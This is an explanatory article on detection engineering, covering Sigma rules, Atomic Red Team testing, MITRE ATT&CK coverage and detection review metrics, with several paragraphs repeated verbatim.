In depth
Detection engineering is the application of software-engineering discipline to security detections — alerts, correlation rules, behavioural analytics, anomaly thresholds. The premise: a SIEM full of legacy point-and-click detections, written years ago by analysts who left, tested only by the next time they fire in production, is an unmaintainable code base. The fix is to treat detections like any other production code — write them in a version-controlled repository, peer-review them, unit-test them, deploy them through CI, and retire them on a published lifecycle.
The toolchain has standardised around a few key components. Sigma is the vendor-neutral detection language — write a detection once in Sigma YAML, then transpile it to Splunk SPL, Elastic KQL, Microsoft Sentinel KQL, Chronicle UDM, or any other backend. Atomic Red Team and Stratus Red Team produce reproducible adversary-technique invocations that act as the unit tests — for every detection that fires on a technique, an atomic test exists that the detection author can run in a lab to confirm the alert actually triggers. The MITRE ATT&CK Navigator and D3FEND visualise coverage and gaps.
A mature detection-engineering programme has a few operating norms. Each detection has an owner, a documented MITRE ATT&CK mapping, the data sources it requires, a tested atomic-red-team payload that confirms it fires, and a service-level objective for triage time when it fires. Detections are reviewed quarterly: false-positive rate, true-positive rate, and time-to-triage are the metrics. Detections that fire too often without ever surfacing a real incident are tuned or retired. Detections that should fire but never do are flagged for atomic-red-team validation.
Detection engineering is the natural complement to threat hunting: hunting discovers new attacker behaviour in unstructured search, engineering codifies the behaviour as a detection so the discovery is repeatable. It is also the artefact a Purple Team engagement produces. See red team services and Blue Team.
The toolchain has standardised around a few key components. Sigma is the vendor-neutral detection language — write a detection once in Sigma YAML, then transpile it to Splunk SPL, Elastic KQL, Microsoft Sentinel KQL, Chronicle UDM, or any other backend. Atomic Red Team and Stratus Red Team produce reproducible adversary-technique invocations that act as the unit tests — for every detection that fires on a technique, an atomic test exists that the detection author can run in a lab to confirm the alert actually triggers. The MITRE ATT&CK Navigator and D3FEND visualise coverage and gaps.
A mature detection-engineering programme has a few operating norms. Each detection has an owner, a documented MITRE ATT&CK mapping, the data sources it requires, a tested atomic-red-team payload that confirms it fires, and a service-level objective for triage time when it fires. Detections are reviewed quarterly: false-positive rate, true-positive rate, and time-to-triage are the metrics. Detections that fire too often without ever surfacing a real incident are tuned or retired. Detections that should fire but never do are flagged for atomic-red-team validation.
Detection engineering is the natural complement to threat hunting: hunting discovers new attacker behaviour in unstructured search, engineering codifies the behaviour as a detection so the discovery is repeatable. It is also the artefact a Purple Team engagement produces. See red team services and Blue Team.